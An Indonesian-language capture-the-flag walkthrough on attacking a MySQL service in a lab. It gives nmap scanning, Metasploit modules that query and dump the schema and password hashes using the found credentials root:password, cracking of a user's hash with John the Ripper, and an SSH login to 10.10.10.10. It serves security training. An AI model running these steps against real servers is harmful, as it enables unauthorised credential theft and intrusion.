Exploiting MySQL

Kapan Anda akan mulai menyerang MySQL

MySQL kemungkinan besar bukan titik awal yang akan Anda tuju saat mendapatkan informasi awal tentang server. Anda dapat, seperti yang telah kami lakukan pada tugas sebelumnya, mencoba memasukkan kata sandi akun default secara paksa jika Anda benar-benar tidak memiliki informasi lain; namun, dalam sebagian besar skenario CTF, ini bukanlah jalan yang seharusnya Anda tempuh.


The Scenario

Biasanya, Anda akan memperoleh beberapa kredensial awal dari penghitungan layanan lain yang kemudian dapat Anda gunakan untuk menghitung dan memanfaatkan layanan MySQL. Karena ruangan ini berfokus pada pemanfaatan dan penghitungan layanan jaringan, demi skenario ini, kami akan berasumsi bahwa Anda menemukan kredensial : "root:password" saat menghitung subdomain server web. Setelah mencoba login melalui SSH tetapi tidak berhasil, Anda memutuskan untuk mencobanya melalui MySQL.


Requirements

Anda perlu menginstal MySQL di sistem Anda untuk terhubung ke server MySQL jarak jauh. Jika belum terinstal, Anda dapat menginstalnya menggunakan sudo apt install default-mysql-client. Jangan khawatir, ini tidak akan menginstal paket server di sistem Anda, hanya kliennya.
Sekali lagi, kita akan menggunakan Metasploit untuk ini.


Alternative

Seperti pada tugas sebelumnya, perlu dicatat bahwa semua yang akan kita lakukan menggunakan Metasploit juga dapat dilakukan secara manual atau dengan seperangkat alat non-Metasploit seperti skrip mysql-enum nmap:https://nmap.org/nsedoc/scripts/mysql-enum.htmlatau https://www.exploit-db.com/exploits/23081


Port Scanning

Langkah pertama enumerasi adalah melakukan pemindaian port, untuk mengetahui sebanyak mungkin informasi tentang layanan, aplikasi, struktur, dan sistem operasi mesin target.
contoh Commandnmap -sV 10.10.10.10
-sVMelihat Versi yang di gunakan


Exploiting MYSQL

msfconsole -qMenjalankan Msfconsole
searcsh mysql_sqlmencari mdul mysql_sql
use 0memilih modul
set USERNAME rootset username
set PASSWORD passwordset password
set RHOSTS 10.10.10.10 Set ip target
run mejalankan exploit
set SQL show databasesset sql menampilkan database
run Menjalankan exploit


Apa yang kita ketahui?

Mari kita periksa kewarasan sebelum mencoba mengeksploitasi basis data sepenuhnya, dan memperoleh informasi yang lebih sensitif daripada sekadar nama basis data. Kita tahu:
1. Kredensial server MySQL
2. Versi MySQL yang berjalan
3. Jumlah Basis Data dan namanya.


Schema

Dalam MySQL, secara fisik, skema identik dengan basis data . Anda dapat mengganti kata kunci "SCHEMA" sebagai ganti DATABASE dalam sintaksis SQL MySQL, misalnya menggunakan CREATE SCHEMA sebagai ganti CREATE DATABASE. Penting untuk memahami hubungan ini karena beberapa produk basis data lainnya memiliki perbedaan. Misalnya, dalam produk Oracle Database, skema hanya mewakili sebagian dari basis data: tabel dan objek lain yang dimiliki oleh satu pengguna.


Hashes

Hash, secara sederhana, adalah hasil dari algoritma kriptografi untuk mengubah masukan dengan panjang variabel menjadi keluaran dengan panjang tetap.
Dalam MySQL, hash dapat digunakan dengan berbagai cara, misalnya untuk mengindeks data ke dalam tabel hash. Setiap hash memiliki ID unik yang berfungsi sebagai penunjuk ke data asli. Ini menciptakan indeks yang jauh lebih kecil daripada data asli, yang memungkinkan nilai-nilai tersebut dicari dan diakses dengan lebih efisien.
Namun, data yang akan kita ekstrak adalah hash kata sandi yang merupakan cara menyimpan kata sandi, bukan dalam format teks biasa.


Serach mysql_schemadump Mencari modul mysql_schemadump
use 0 memilih modul mysql_schemadump
options melihat apa saja yang perlu di isi
set USERNAME rootset root sebagai username
set PASSWORD passwordset password sebagai password
set RHOSTS 10.10.10.10 Set ip target
run mejalankan exploit

search mysql_hashdumpmencari modul mysql_hashdump
use 0 atau use auxiliary/scanner/mysql/mysql_hashdump memilih modul mysql_schemadump
options melihat apa saja yang perlu di isi
set USERNAME rootset root sebagai username
set PASSWORD passwordset password sebagai password
set RHOSTS 10.10.10.10 Set ip target
run menajalanan exploit

echo carl:*EA031893AA21444B170FC2162A56978B8CEECE18 > hashmemasukan carl:*EA031893AA21444B170FC2162A56978B8CEECE18 ke dalam file hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt crack hash menggunakan John the Ripper dengan wordlist rockyou.txt
Jika sudah dapat password dari username carl lanjut login ssh
ssh carl@10.10.10.10 login ssh

tags